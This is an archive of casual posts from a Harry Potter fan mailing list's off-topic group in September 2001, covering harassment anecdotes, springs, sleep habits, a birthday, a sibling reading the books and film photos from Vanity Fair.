From: Schlobin at aol.com (Schlobin at aol.com)
Date: Sun, 09 Sep 2001 03:21:31 -0000
Subject: Sexual harassment
Message-ID: <9nen7r+l67f@eGroups.com>

As part of my job, I interview a LOT of young women (20 - 25) for 
positions at our organization. We ask a question about how they 
handle conflict in the workplace. At least 80% of them talk about
sexual harassment at a previous job --- specifically, men patting 
their butt, making explicit sexual overtures, etc.

Susan




From pigwidgeon37 at yahoo.it  Sun Sep  9 05:05:07 2001
From: pigwidgeon37 at yahoo.it (=?iso-8859-1?q?Susanne=20Schmid?=)
Date: Sun, 9 Sep 2001 07:05:07 +0200 (CEST)
Subject: [HPFGU-OTChatter] Sexual harassment
In-Reply-To: <9nen7r+l67f@eGroups.com>
Message-ID: <20010909050507.89224.qmail@web14704.mail.yahoo.com>

You know that in Italy the Supreme Court has
practically given carte blanche to "touching" bosses?
As long as he touches her butt (or he breasts) only
once, and only briefly, it's not sexual harassment.
BTW, did you know that in Italy, when you are wearing
tight jeans and somebody rapes you, it is not regarded
as a rape (Supposing that to get you out of those
jeans you had to be consenting)?
And this is NO JOKE! 

susanna (for once glad that sh'e only living and not
born in Italy)

 --- Schlobin at aol.com ha scritto: 
<HR>
<html><body>
<tt>
As part of my job, I interview a LOT of young women
(20 - 25) for <BR>
positions at our organization. We ask a question about
how they <BR>
handle conflict in the workplace. At least 80% of them
talk about<BR>
sexual harassment at a previous job --- specifically,
men patting <BR>
their butt, making explicit sexual overtures, etc.<BR>
<BR>
Susan<BR>
<BR>
</tt>

<br>

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From pigwidgeon37 at yahoo.it  Sun Sep  9 05:18:02 2001
From: pigwidgeon37 at yahoo.it (=?iso-8859-1?q?Susanne=20Schmid?=)
Date: Sun, 9 Sep 2001 07:18:02 +0200 (CEST)
Subject: [HPFGU-OTChatter] How does a spring work? (the water kind)
In-Reply-To: <9neepu+j2v0@eGroups.com>
Message-ID: <20010909051802.41715.qmail@web14701.mail.yahoo.com>

Hi Amy,
I've been regretting many times that my English is not
better, but when it comes to technical questions, it
hopelessly fails me. Well, let's try anyway:
There is the physical law of (I hope that, if you read
it, you'll recognize what I mean, as it's a technical
term I don't know- see above)"communicating
containers". Imagine two  vertical glass tubes,
connected with each other to form a "U":If you pour
water into one side of the U, it will rise on the
other side, until the level is equal on both sides. 
And that's it.
Hope it helped
Susanna/pigwidgeon37 (who, in her heart, has always
been a teacher)





 --- Amy Z <aiz24 at hotmail.com> ha scritto: 
<HR>
<html><body>
<tt>
Hey, it says OT up there.<BR>
<BR>
Any geology/physics types on here? I am trying
to understand a <BR>
geological phenomenon, preferably before 11 p.m.
Eastern Time, and I <BR>
don't know where to even begin to find out on the
internet. If you <BR>
have the slightest understanding of what makes water
travel upwards in <BR>
a spring, or know where to point me to find out, could
you respond <BR>
offlist? aiz24 AT hotmail.com.<BR>
<BR>
Many thanks,<BR>
Amy<BR>
<BR>
</tt>

<br>

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From pengolodh_sc at yahoo.no  Sun Sep  9 10:04:57 2001
From: pengolodh_sc at yahoo.no (pengolodh_sc at yahoo.no)
Date: Sun, 09 Sep 2001 10:04:57 -0000
Subject: How does a spring work? (the water kind)
In-Reply-To: <9neepu+j2v0@eGroups.com>
Message-ID: <9nfes9+jaqc@eGroups.com>

By no means an expert, but I'll try.

Depends on the circumstances.  It could be that the water actually 
comes from a source higher up, such as runoff from the mountains, or 
a river that has gone underground, with no other escape-path for the 
water than upwards.  In the case of hot-water springs, it is a matter 
of pressure as well - water expands as it gets warmer (when it's 
above 4 degrees centigrade; below that it contracts when it gets 
warmer until it hits four degrees).

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Hey, it says OT up there.
> 
> Any geology/physics types on here?  I am trying to understand a 
> geological phenomenon, preferably before 11 p.m. Eastern Time,
> and I don't know where to even begin to find out on the internet.
> If you have the slightest understanding of what makes water
> travel upwards in a spring, or know where to point me to find
> out, could you respond offlist?  aiz24 AT hotmail.com.
> 
> Many thanks,
> Amy




From heidit at netbox.com  Sun Sep  9 13:58:47 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Sun, 9 Sep 2001 09:58:47 -0400 
Subject: [HPFGU-OTChatter] I know what james potter was doing in 1979
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BF6@MIAEXCH1>

He was the post production supervisor on The Muppet Movie.
Really! I was just watching this with my harry, and his name was in the
credits.
Hmmm. Crossover between HP and Rainbow Connection? Why am I not surprised



From tabouli at unite.com.au  Sun Sep  9 14:10:50 2001
From: tabouli at unite.com.au (Tabouli)
Date: Mon, 10 Sep 2001 00:10:50 +1000
Subject: The AM conspiracy, maturity
Message-ID: <008901c13939$7656be80$e492aecb@price>

Rita (from main list):
> Good morning! (It's 1:51pm my time and I got up half an hour ago. How 
wonderful it is not to have children or a second job.)

That's the way Rita: as I often observe, the world is run according to a morning person conspiracy.  I detest the 9 to 5 work day, especially the 9 part.  If forced to kick-start myself by then I run on autopilot until my brain joins me around 11.  OTOH, I am in fine form between about 8pm and 2am.  It's oppression!  Evening people of the world, unite!

katzefan (from main list):
> Unfortunately, an awful lot of adults *do* behave as childishly as children - and with far less excuse. 

Here's an OT musing: what do you people see as the Age Of Reason?  What is this thing called maturity, and when does it strike?  At what age does the youth excuse cease to apply?   At what age do people start thinking like "adults", and what does this mean?  Are there a series of ages by which people tend to be at certain life stages??

Piaget ended his theory at age 12 (formal operations), the Reflective Judgment Theory claims people can't reason in a fully "adult" fashion until 25-26 (I was mightily insulted when I read about this for the first time, aged 22!), and not always then, depending on life experience.  Many women I know declare sniffily that there are extreme gender differences in the age of maturity (no prizes for guessing in which direction!).

OK all you parents and school teachers out there... tell all!  (and yeah, yeah, individuals differ vastly, you can give absolute minimum ages and averages if you like)

Tabouli.


[Non-text portions of this message have been removed]




From s_ings at yahoo.com  Sun Sep  9 14:37:09 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 9 Sep 2001 07:37:09 -0700 (PDT)
Subject: [HPFGU-OTChatter] I know what james potter was doing in 1979
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BF6@MIAEXCH1>
Message-ID: <20010909143709.65230.qmail@web14610.mail.yahoo.com>


--- "Tandy, Heidi" <heidit at netbox.com> wrote:
> He was the post production supervisor on The Muppet
> Movie.
> Really! I was just watching this with my harry, and
> his name was in the
> credits.
> Hmmm. Crossover between HP and Rainbow Connection?
> Why am I not surprised
> 
I watched Die Hard 2 yesterday afternoon. Oliver Wood
is listed at the director of photography. These HP
folks are turning up everywhere.

Sheryll

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
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From neilward at dircon.co.uk  Sun Sep  9 14:41:16 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 9 Sep 2001 15:41:16 +0100
Subject: The AM conspiracy
References: <008901c13939$7656be80$e492aecb@price>
Message-ID: <001801c1393d$90c67cc0$893770c2@c5s910j>

Tabouli said:

<< ...the world is run according to a morning person conspiracy.  I detest
the 9 to 5 work day, especially the 9 part.  If forced to kick-start myself
by then I run on autopilot until my brain joins me around 11.  OTOH, I am in
fine form between about 8pm and 2am.  It's oppression!  Evening people of
the world, unite! >>

Count me in as a creature of the night!  I try to roll into work not too
long after nine, but, like you, I don't become fully human until around
11am, after sucking up a lake of black coffee.  I work best between about
3pm and 8pm, but can continue through to 4am without too much difficulty, if
required.  I'm often reading these lists around 5am, UK time, and sometimes
stay awake until 7am, when - hey presto! - it's time to go to work again.

In truth, I don't sleep much... but I do dream.  Every once in a while, the
fatigue hits me, and I have to crawl into a cardboard box full of straw to
hibernate.  Daylight bothers me, and I hate the sun.  I like the security of
the dark, the wind and the rain.

For a while, I had the impression that all Americans are at their posts by
7.30am, eating donuts, drinking insipid coffee from huge paper cups,
surrounded by ringing phones, with the sound of police sirens and car horns
in the street outside, tapping away at computer terminals or spinning round
on chairs to whip sheets of paper from giant typewriters.  Then, I realised
that was just something I saw on "Kojak".

Neil





From hamster8 at hotmail.com  Sun Sep  9 17:14:09 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sun, 09 Sep 2001 17:14:09 -0000
Subject: I know what james potter was doing in 1979
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BF6@MIAEXCH1>
Message-ID: <9ng811+phei@eGroups.com>

Heidi ...

"He was the post production supervisor on The Muppet Movie.
Really! I was just watching this with my harry, and his name was in 
the credits."

He was probably on his gap year.

Al
-Who can't be bothered to put a sig here ... oh ... damn.




From Captain_Debrowe at hotmail.com  Sun Sep  9 17:25:47 2001
From: Captain_Debrowe at hotmail.com (Captain_Debrowe at hotmail.com)
Date: Sun, 09 Sep 2001 17:25:47 -0000
Subject: New regional list
Message-ID: <9ng8mr+gbep@eGroups.com>

For anyone who is interested I have made a sublist for the HP4GU list 
for people in the Kentucky/Tennesee area.  A link to reach it can be 
found in the bookmarks section of the HP4GU bookmarks area under 
regional groups or you can try this:

http://groups.yahoo.com/group/HP4GU-Kentucky-Tennesee

Hope anyone in these two states can join me there.  Thanks

Danette




From catlady at wicca.net  Sun Sep  9 17:27:04 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sun, 09 Sep 2001 17:27:04 -0000
Subject: september 09 '01
Message-ID: <9ng8p8+10113@eGroups.com>

Happy birthday to Barb's daughter and  Barb's Hermione.




From inviziblegirl at hotmail.com  Sun Sep  9 17:59:47 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Sun, 09 Sep 2001 13:59:47 -0400
Subject: Miracle of Miracles...
Message-ID: <F1271Suno2J1Y4VkHC80000223c@hotmail.com>


This past weekend, I went back home to Ohio to attend a wedding. I went 
completely without the intention of getting anyone "hooked" on HP. I just 
thought I'd have some time to spend with the 'rents, brother, and wedding 
friends. However, this didn't entirely turn out to be the case. So gather 
around, all ye Potterites, and listen to the fabulous tale of...

"How I FINALLY got my brother to read HP"
(Or a possible primer on how to convince stubborn 17 year old brothers to 
read Harry Potter when they profess that it's only a "fad")

So Friday night, I arrive in Ohio. My mom picks me up and brings me home. I 
chatter on and on to my parents and brother about various things and the 
conversation turns (inevitably) to Harry Potter.

My brother: Harry Potter is just a fad! I'm never going to read it!
Me: It is NOT a fad! Would it have been this popular if it was just a fad?
My brother: It is so a fad! No children's book could stay popular for long!
Me: It is NOT a children's book! You don't know what you're talking about!
My brother: I do SO!

Not exactly the most intelligent of conversations. *grin* Well, my mom tells 
us to take the argument into another room. I drag my brother into the 
computer room and show him a couple HP sites (FictionAlley, SugarQuill, 
Leaky Cauldron, etc.) to prove that the series is more than just a fad. At 
first I'm just happy that he's stopped arguing with me, but then I notice a 
bit of interest in his eyes. At some point we're looking at HP fanart and he 
points to a picture of Draco Malfoy and asks "Who's that? Is he a vampire? 
He looks kinda cool.". I nearly bust a gut laughing but tell him I won't say 
anything unless he reads the books.

Afterwards, I go into the living room to find my brother looking at the 
books on the bookshelf. I ask him what he's looking for and he says the 
first Harry Potter book. I stifle my yell of glee, quietly find the book, 
and hand it to him. He wanders off.

Later that night, I go to my room to get ready for bed. I peak my head into 
his room to find *gasp* that he's READING SS! He notices me standing there, 
grins, and says two words. "Dudley Dursley". I'm quite shocked, but merely 
grin back and say "I know." I leave then, even though I want to grill him on 
what he thinks of the series so far.

Saturday morning, my brother comes down for breakfast and I nonchalantly ask 
him how he thinks of the series. His answer? "Unbelievable". I say 
"Unbelievable good or unbelievable bad?". He says "Unbelievable good!". I 
nearly fainted on the spot. Then I started singing, "I was right, I was 
right, I was right". The conversation from there on out degenerated into 
insults and a minor scuffle.

I'm back in Florida now, but he was about halfway through SS when I left. 
And he asked me if my parents had the second book (yes, they did). I guess I 
have to be grateful for two characters: Draco Malfoy (who inspired the 
fanart that caught my brother's eye in the first place) and Dudley Dursley 
(who my brother found quite funny/despicable and kept him reading). I would 
never in a million years think that I would be grateful for those two 
characters but I find myself in that position. Although I must point out 
that he doesn't like Draco anymore, he likes Neville the best so far...

Furthermore, my mom is now finally showing interest in trying the books. My 
brother isn't exactly a reader and she knows that anything that grabs his 
attentions is usually pretty good...

Maybe I shouldn't be so excited that I got my brother to read Harry Potter. 
After all, it's only a "fad". *snicker*

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01...HP pages added

"If you are choking to death in a restaurant you have a better chance of 
survival than if you tell your best friend that you are thinking of killing 
yourself."
- B. Kopans
National Mental Illness Screening Project



_________________________________________________________________
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From blpurdom at yahoo.com  Sun Sep  9 19:26:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 09 Sep 2001 19:26:03 -0000
Subject: Sexual harassment
In-Reply-To: <20010909050507.89224.qmail@web14704.mail.yahoo.com>
Message-ID: <9ngfob+kfpm@eGroups.com>

--- In HPFGU-OTChatter at y..., Susanne Schmid <pigwidgeon37 at y...> wrote:
> You know that in Italy the Supreme Court has
> practically given carte blanche to "touching" bosses?
> As long as he touches her butt (or he breasts) only
> once, and only briefly, it's not sexual harassment.
> BTW, did you know that in Italy, when you are wearing
> tight jeans and somebody rapes you, it is not regarded
> as a rape (Supposing that to get you out of those
> jeans you had to be consenting)?
> And this is NO JOKE!  

I read about this some time ago and forgot about it.  It sounds 
insane, doesn't it?  When our friends Michael Swanwick and Marianne 
Porter took a trip to Italy, all they (well, actually Michael) could 
talk about upon their return were the Italian game shows, the main 
purpose of which seem to be to remove as many garments as possible 
from nubile young girls.  Plus, I had a friend in college who was a 
classics major also and went to Italy on a study program for a 
summer; a professor of ours warned her before she went (she is quite 
stunning) that she would be proposed to on every streetcorner.  
Propositioned was more like it, and her arse was black and blue from 
pinching.  She had a great summer in Italy and Crete on archeological 
digs, but she really could have done without the constant 
harassment.  I think she eventually went into investment banking, but 
I'm unclear whether it was to avoid going back to Italy...

--Barb





From blpurdom at yahoo.com  Sun Sep  9 19:32:25 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 09 Sep 2001 19:32:25 -0000
Subject: The AM conspiracy, maturity
In-Reply-To: <008901c13939$7656be80$e492aecb@price>
Message-ID: <9ngg49+tef4@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote: > 
> Here's an OT musing: what do you people see as the Age Of Reason?  
What is this thing called maturity, and when does it strike?  At what 
age does the youth excuse cease to apply?   At what age do people 
start thinking like "adults", and what does this mean?  Are there a 
series of ages by which people tend to be at certain life stages??
 
Forget thinking like adults, I'm simply waiting for my kids to "wake 
up" and attain self-awareness.  The film that M. Night Shyamalan made 
before The Sixth Sense was called Wide Awake.  The child at the 
center of this film is basically sleep-walking through life, even to 
the extent that his parents are dressing him and brushing his teeth 
in his sleep in the mornings.  When his grandfather dies, he begins a 
spiritual journey and eventual has an epiphany that "wakes" him up. I 
can't wait for my kids to hit this point!  And I've met some adults 
who never have...they still drift through life, seeing nothing beyond 
their own noses.

--Barb





From blpurdom at yahoo.com  Sun Sep  9 19:46:48 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 09 Sep 2001 19:46:48 -0000
Subject: september 09 '01
In-Reply-To: <9ng8p8+10113@eGroups.com>
Message-ID: <9nggv8+birr@eGroups.com>

--- In HPFGU-OTChatter at y..., "Catlady (Rita Prince Winston)" 
<catlady at w...> wrote:
> Happy birthday to Barb's daughter and  Barb's Hermione.

Aren't you sweet! ::sniff::  Yes, it is official: Rachel Lamond 
Purdom is seven years old!  Seven years ago I heaved a great sigh of 
relief upon getting this nine-pound (!) child out into the world 
where I could look at and exclaim over her!  This will be my last 
post possibly till tomorrow since I have to dash and wrap her 
presents and finish cleaning the living room rugs before my in-laws 
and my mom arrive to shower her with gifts (many of which are HP-
related!).

--Barb
(who hates cleaning cat hair out of the rugs--no offense to Catlady 
<g>)





From witchwanda2002 at yahoo.com  Sun Sep  9 19:56:22 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 9 Sep 2001 12:56:22 -0700 (PDT)
Subject: [HPFGU-OTChatter] september 09 '01
In-Reply-To: <9ng8p8+10113@eGroups.com>
Message-ID: <20010909195622.23609.qmail@web13709.mail.yahoo.com>

Happy Birthday also from all of us of the Mallett
household! Hope both Barb's daughter and Barb's
Hermoine get plenty of toasts of Butterbeer and the
wish they wish for too!

Wanda and Her Muggle Clan

--- "Catlady (Rita Prince Winston)"
<catlady at wicca.net> wrote:
> Happy birthday to Barb's daughter and  Barb's
> Hermione.
> 
> 


__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From simon at hp.inbox.as  Sun Sep  9 20:10:03 2001
From: simon at hp.inbox.as (Simon)
Date: Sun, 9 Sep 2001 21:10:03 +0100
Subject: VF, Owls, Apples and Newspapers.
In-Reply-To: <999994848.33318.23018.l7@yahoogroups.com>
Message-ID: <LOBBLGEGEBLNEOFHCDINMEOIDNAA.simon@branford.inbox.as>

Simon:
> It is available at places outside the West End. I picked up a copy
> in Salisbury this morning (and they had quite a few copies). [snip]

Ben: <<<But then Salisbury is very civilised - they have the best cake shop
in England (Michael Snell) and sell roasted chestnuts in the streets (not
in summer, obviously) so naturally they'd have Vanity Fair available (well,
the Harry edition anyway)>>>

I had donuts off the market instead. After all I needed some breakfast.


>I do have a major complaint to make about the pictures. Good many
>of the pictures are there is not one picture of an owl in it. And so
>there is no Hedwig in the magazine. I am disappointed and hope that
>Hedwig is not one of the things that they have removed from the film.
>

Ben: <<<Surely they cannot remove owls - how would you get the post?
Anyway, I'm sure I've seen pictures of daniel-with-snowy-owl and aren't
they in the trailer too?>>>

I was being silly with my earlier comments (many people start to wonder how
that differs to usual).


Ben: <<<Incidentally, I was talking to a friend of mine who purports to be
a Harry Potter fan; I mentioned that I was introduced to the books by a
younger friend of mine - but he laughed when I said by 'younger' I meant
22 - apparently he thinks the books are for children, and, despite being
getting a box set from his girlfriend for his birthday months ago, hasn't
even read the fourth one yet as "it looks huge"...  I'm debating whether he
should be allowed to watch the film.>>>

These troublesome 22 year old ;)


Ben: <<<-Ben. In search of apples.>>>

Hope you found some.


Neil: <<<Wasn't it stablemate The Mail on Sunday that secured an
embarrassing interview with JKR's Portuguese ex-husband?">>>
Al: <<<I don't recall hearing that one.>>>

Yep that was the Mail.


Al: <<<But wasn't it the Mail who got hold of trailer stills that had been
available online for about 2 weeks, promptly labelled them an 'EXCLUSIVE'
and then proceeded to tell the nation that Professor Flitwick was in fact
Albus Dumbledore.

Or was that the Sun?>>>

The Sun did that great piece of journalism.



I am currently in pain. The New Forest did not agree with me too well. Or
more correctly I was not entirely pleased when I found a hidden ditch and
fell partly in it and in doing so injuring my ankle (fortunately not
badly).




Simon




From dfrankiswork at netscape.net  Sun Sep  9 22:05:49 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Sun, 09 Sep 2001 22:05:49 -0000
Subject: The AM conspiracy, maturity
In-Reply-To: <9ngg49+tef4@eGroups.com>
Message-ID: <9ngp3t+6nur@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:
> And I've met some adults 
> who never have...they still drift through life, seeing nothing 
beyond 
> their own noses.
> 
> --Barb

Hang on!  I have been trying hard to attain to this blessed state, 
and you are telling me to grow out of it?

David, who also thinks that naivety can only be achieved with a great 
deal of effort




From meboriqua at aol.com  Mon Sep 10 02:11:32 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Mon, 10 Sep 2001 02:11:32 -0000
Subject: Another Possible Virus
Message-ID: <9nh7gk+ujbv@eGroups.com>

Hey Everyone -

A friend just emailed me something about a new virus.  Now, we all 
know some of these things are bogus, but I thought I'd pass it on just 
in case.

Apparently, if you receive an email titled "A Virtual Card for You" OR 
"An Internet Flower for You", you will infect your computer beyond 
repair if you open either email.  That's all I know.

--jenny from ravenclaw *****************************************




From meboriqua at aol.com  Mon Sep 10 02:19:32 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Mon, 10 Sep 2001 02:19:32 -0000
Subject: Sexual harassment
In-Reply-To: <9ngfob+kfpm@eGroups.com>
Message-ID: <9nh7vk+71pv@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:

> I had a friend in college who was a 
> classics major also and went to Italy on a study program for a 
> summer; a professor of ours warned her before she went (she is quite 
> stunning) that she would be proposed to on every streetcorner.  
> Propositioned was more like it, and her arse was black and blue from 
> pinching.>

A friend of mine spent her junior year (college) in Paris, and she was 
once chased back to her apartment by a man who thought she was pretty.  
He stood outside her building and yelled for her to come down until he 
gave up and left.  She was terrified.

I can only explain this by assuming that men from different cultures 
expect very different responses from women than we do here in America.  
Perhaps my friend should have rejected him differently than she did; I 
don't know.  

Then again, here in NYC, if a man calls out to a woman in the street 
and she ignores him, she often gets a "You b***h!" yelled at her.  Why 
any man would think being hissed at by a stranger is worthy of 
positive attention is beyond me.

--jenny from ravenclaw **********************************




From bray.262 at osu.edu  Mon Sep 10 09:59:04 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Mon, 10 Sep 2001 09:59:04 EST5EDT
Subject: ...I have no comment on this..  :-)
Message-ID: <5AB5054BD8@lincoln.treasurer.ohio-state.edu>

But it would be an interesting DVD.....

http://www.empireonline.co.uk/news/news.asp?3380

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From diagonalley_ at hotmail.com  Mon Sep 10 14:11:22 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Mon, 10 Sep 2001 10:11:22 -0400
Subject: Fun with ShrinkyDinks
Message-ID: <F1324SwbPHn46Nwtx4Z0000ae17@hotmail.com>

I'm sorry, I just had to share this...

http://alison.wyvernweb.com/temp/moo/magnets.jpg

REALLY makes me miss my 80s childhood.... *grins*  Not that I'm going to 
stop with Harry and powerpuff-Voldemort.  Any requests?  ^_-

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From diagonalley_ at hotmail.com  Mon Sep 10 14:09:40 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Mon, 10 Sep 2001 10:09:40 -0400
Subject: Sunbathers in CoS
Message-ID: <F151cH0xxDEA2VqFnW00000abc6@hotmail.com>

One wonders why they couldn't just...you know...edit them out?  This is the 
age of digital effects, folks.  I'm a third year film student, and even I 
could get rid of a few sunbathers on a hillside if given a few hours with 
the right program.

Ah well.  Maybe it's cheaper to reshoot ;}

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From heidit at netbox.com  Mon Sep 10 14:19:26 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Mon, 10 Sep 2001 10:19:26 -0400
Subject: [HPFGU-OTChatter] Fun with ShrinkyDinks
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C08@MIAEXCH1>

Yes! A LiteBrite version of harry with amazingly green eyes!
 
: drags out old set, refreshes light bulb...
 

-----Original Message-----
From: Ali Wildgoose [mailto:diagonalley_ at hotmail.com]
Sent: Monday, September 10, 2001 10:11 AM
To: HPFGU-OTChatter at yahoogroups.com
Subject: [HPFGU-OTChatter] Fun with ShrinkyDinks


Real-To: "Ali Wildgoose" I'm sorry, I just had to share this...

http://alison.wyvernweb.com/temp/moo/magnets.jpg
<http://alison.wyvernweb.com/temp/moo/magnets.jpg> 

REALLY makes me miss my 80s childhood.... *grins*  Not that I'm going to 
stop with Harry and powerpuff-Voldemort.  Any requests?  ^_-

Ali

http://home.nyu.edu/~amw243 <http://home.nyu.edu/~amw243>  :: Diagon Alley
Harry Potter for Slightly Older Folk


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
<http://explorer.msn.com/intl.asp> 



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From dfrankiswork at netscape.net  Mon Sep 10 16:08:00 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 10 Sep 2001 16:08:00 -0000
Subject: Sunbathers in CoS
In-Reply-To: <F151cH0xxDEA2VqFnW00000abc6@hotmail.com>
Message-ID: <9nioh0+d407@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ali Wildgoose" <diagonalley_ at h...> 
wrote:
> One wonders why they couldn't just...you know...edit them out?  

Perhaps they found it difficult to edit *in* Hermione's sniggers?

David, looking forward to Archie's cameo in the GOF movie




From blpurdom at yahoo.com  Mon Sep 10 17:32:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 10 Sep 2001 17:32:03 -0000
Subject: Sunbathers in CoS
In-Reply-To: <F151cH0xxDEA2VqFnW00000abc6@hotmail.com>
Message-ID: <9nitej+lsan@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ali Wildgoose" <diagonalley_ at h...> 
wrote:
> One wonders why they couldn't just...you know...edit them out?  
This is the age of digital effects, folks.  I'm a third year film 
student, and even I could get rid of a few sunbathers on a hillside 
if given a few hours with the right program.
 
One does wonder.  When they were shooting Toni Morrison's "Beloved" 
on 2nd Street here in Philadelphia, there was a big fuss from the 
merchants on the block in question because the production team was 
going to have the electric company remove electric supply lines and 
commercial signs and other things that would be anachronisms in the 
mid-19 century.  Perhaps as the editing software gets even better, 
this won't be necessary any more.  You have to wonder whether it's 
less expensive to deal with lawsuits from a couple dozen businesses 
or just to pay one computer-literate editor to make it right after 
the filming.

--Barb

 




From cynthiaanncoe at home.com  Mon Sep 10 17:43:33 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 17:43:33 -0000
Subject: MOVIE and VF:   Whew!
Message-ID: <9niu45+gncj@eGroups.com>

I am so relieved to see the pictures in VF.  I had earlier expressed 
some concern that Dan doesn't look right as Harry, that his smile is 
cheesy, etc.  You all said I was wrong, and you were so right!

Dan looks great.  Even the cover picture doesn't bother me.  It's 
funny how a tiny thumbnail on the internet just doesn't do these 
photos justice.

A few questions/observations:

In the cupboard pic, what is that thing hanging to the right of 
Harry's head?  What is the stuff under the bed (looks like a rice 
cooker)?  The dustpan is a nice touch.  Is that also a thermostat on  
the wall?

In the student photo, I really like the fire.  Really cool, and more 
dramatic than I had imagined.

In the picture of Flitwick, what do we know about this actor?  Is he 
a child?  And why is Madam Hooch's cape apparently blowing in the 
wind if they are inside (or am I missing something?)

Oh, the picture of the ghosts is so unfortunate.  I don't like the 
blood, either.  Most non-book readers wouldn't understand that silver 
blood is blood, so I think I would have left his clothing clean like 
the other ghosts and left it there.  It is the only grotesque thing 
in the pics, and it just ruins the fantasy for me.  I'm going to 
reserve opinion on John Cleese for now.  

Quiddich photo -- someone restrain me!  There are two black girls on 
the team, and I thought it was only one.  Yippee!  More racial 
diversity never hurts -- was this done for the movie, or did JKR say 
somewhere in canon that Alicia Spinnet is black?  Oliver Wood should 
be a lot bigger, though.  Heck, I could get a quaffle past that 
little wisp of a thing.  And for once, Harry isn't smiling!

Finally, the photo of Ron on horseback is great.  The chess scene 
didn't come to life for me much in the books, but it sure does in 
this picture.  Could the movie actually turn out to be better than 
the book?  Hmmmm.

Cindy




From bkdelong at pobox.com  Mon Sep 10 18:08:31 2001
From: bkdelong at pobox.com (B.K. DeLong)
Date: Mon, 10 Sep 2001 14:08:31 -0400
Subject: [HPFGU-OTChatter] MOVIE and VF:   Whew!
In-Reply-To: <9niu45+gncj@eGroups.com>
Message-ID: <5.0.2.1.2.20010910140700.04bb40b0@brain-stream.com>

At 05:43 PM 09/10/2001 +0000, you wrote:
>Quiddich photo -- someone restrain me!  There are two black girls on
>the team, and I thought it was only one.  Yippee!  More racial
>diversity never hurts -- was this done for the movie, or did JKR say
>somewhere in canon that Alicia Spinnet is black?  Oliver Wood should
>be a lot bigger, though.  Heck, I could get a quaffle past that
>little wisp of a thing.  And for once, Harry isn't smiling!

I don't think she's black....I think she's of Middle Eastern/Indian 
descent. Also....I wonder if Padma and Pavarti are of such a descent as well.

--
B.K. DeLong
bkdelong at pobox.com
617.877.3271

http://www.brain-stream.com               Play.
http://www.the-leaky-cauldron.org        Potter.
http://www.attrition.org                       Security.
http://www.artemisiabotanicals.com     Herb.




From jenP_97 at yahoo.com  Mon Sep 10 18:22:18 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Mon, 10 Sep 2001 18:22:18 -0000
Subject: MOVIE and VF:   Whew!
In-Reply-To: <9niu45+gncj@eGroups.com>
Message-ID: <9nj0cq+gmdd@eGroups.com>

--- In HPFGU-OTChatter at y..., cynthiaanncoe at h... wrote:

> In the picture of Flitwick, what do we know about this actor?  Is 
> he a child?  And why is Madam Hooch's cape apparently blowing in 
> the wind if they are inside (or am I missing something?)
> 

The actor playing Flitwick is Warwick Davis, best known (to me, 
anyway) as the actor who played Willow in... you guessed it... 
_Willow_.  If you haven't seen this movie, that in itself won't mean 
much, but IMO, he's a great actor (btw, if you haven't seen this 
movie yet, do!).  He was also Wicket the Ewok in _Return of the 
Jedi_, but obviously, had a lot of makeup and a costume on.  
Personally, I'm not too fond of his "Flitwick" makeup... he just 
looks too unnatural, and my picture of Flitwick was always more 
cheerful and "young old man" in my head.  I suppose I'll have to get 
over it.  Just like I'll have to get over the fact that Snape and 
McGonnagal look too old.  

You can read more about Warwick Davis here:

http://us.imdb.com/Name?Davis,+Warwick

Jen (who is skeptical that the movie could be better than the book, 
but who knows?)




From mat at hooper11.freeserve.co.uk  Mon Sep 10 18:36:51 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Mon, 10 Sep 2001 19:36:51 +0100
